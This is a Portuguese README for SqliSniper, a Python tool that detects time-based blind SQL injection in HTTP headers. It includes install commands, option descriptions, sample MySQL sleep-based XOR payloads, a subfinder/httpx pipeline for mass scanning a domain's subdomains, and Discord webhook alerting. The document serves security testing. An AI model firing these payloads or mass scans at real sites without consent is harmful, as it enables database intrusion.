
Fuzzer avançado de injeção SQL cega baseada em tempo para cabeçalhos HTTP
Recursos • Instalação • Uso • Executando SqliSniper • Contribuindo •
SqliSniper é uma ferramenta Python robusta projetada para detectar injeções SQL cegas baseadas em tempo em cabeçalhos de requisições HTTP. Ela aprimora o processo de avaliação de segurança ao escanear e identificar rapidamente potenciais vulnerabilidades usando múltiplas threads, garantindo velocidade e eficiência. Diferente de outros scanners, o SqliSniper foi projetado para eliminar falsos positivos e enviar alertas na detecção, com funcionalidade de notificação integrada ao Discord.

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
Isso exibirá a ajuda da ferramenta. Aqui estão todas as opções que ela suporta.
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██████╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
-: By Muhammad Danial :-
usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
Detect SQL injection by sending malicious queries
options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads
A URL pode ser fornecida com a -u flag para escaneamento de um único site
./sqlisniper.py -u http://example.com
A -r flag permite que o SqliSniper leia um arquivo contendo múltiplas URLs para escaneamento simultâneo.
./sqlisniper.py -r url.txt
O SqliSniper também funciona com entrada via pipe usando a -p flag
cat url.txt | ./sqlisniper.py -p
O recurso de pipe facilita a integração com outras ferramentas. Por exemplo, você pode utilizar ferramentas como subfinder e httpx, e então direcionar a saída para o SqliSniper para escaneamento em massa.
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
Por padrão, o SqliSniper usa o arquivo payloads.txt. No entanto, a --payload flag pode ser usada para fornecer um arquivo de payloads personalizado.
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
Ao usar um arquivo de payloads personalizado, certifique-se de substituir o tempo de espera por %__TIME_OUT__%. O SqliSniper ajusta dinamicamente o tempo de espera de forma iterativa para mitigar potenciais falsos positivos.
O arquivo de payloads deve se parecer com isto.
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
Se você deseja testar apenas com um único payload, a --single-payload flag pode ser usada. Certifique-se de substituir o tempo de espera por %__TIME_OUT__%
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
Os cabeçalhos são salvos no arquivo headers.txt. Para escanear com um cabeçalho HTTP personalizado, salve o cabeçalho da requisição HTTP personalizado no arquivo headers.txt.
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
O SqliSniper também oferece notificações de alerta no Discord, aprimorando sua funcionalidade ao fornecer alertas em tempo real através de webhooks do Discord. Esse recurso é inestimável durante escaneamentos em larga escala, permitindo notificações imediatas ao detectar algo.
./sqlisniper.py -r url.txt --discord <web_hookurl>
As threads podem ser definidas com a --threads flag
./sqlisniper.py -r url.txt --threads 10
Nota: É crucial considerar que usar um número maior de threads pode levar a potenciais falsos positivos ou a perda de questões válidas. Devido à natureza da injeção SQL baseada em tempo, recomenda-se usar um número menor de threads para uma detecção mais precisa.
Aviso LegalO uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é estritamente proibido. É de responsabilidade do usuário final obedecer todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não se responsabilizam por qualquer uso indevido ou dano causado por este programa. |
Contribuições para o SqliSniper são sempre bem-vindas. Seja melhorias de funcionalidades, correções de bugs ou melhorias na documentação, toda ajuda é apreciada.
SqliSniper é distribuído sob a Licença MIT
SqliSniper é feito em
com muito 💙 por @Muhammad Danial.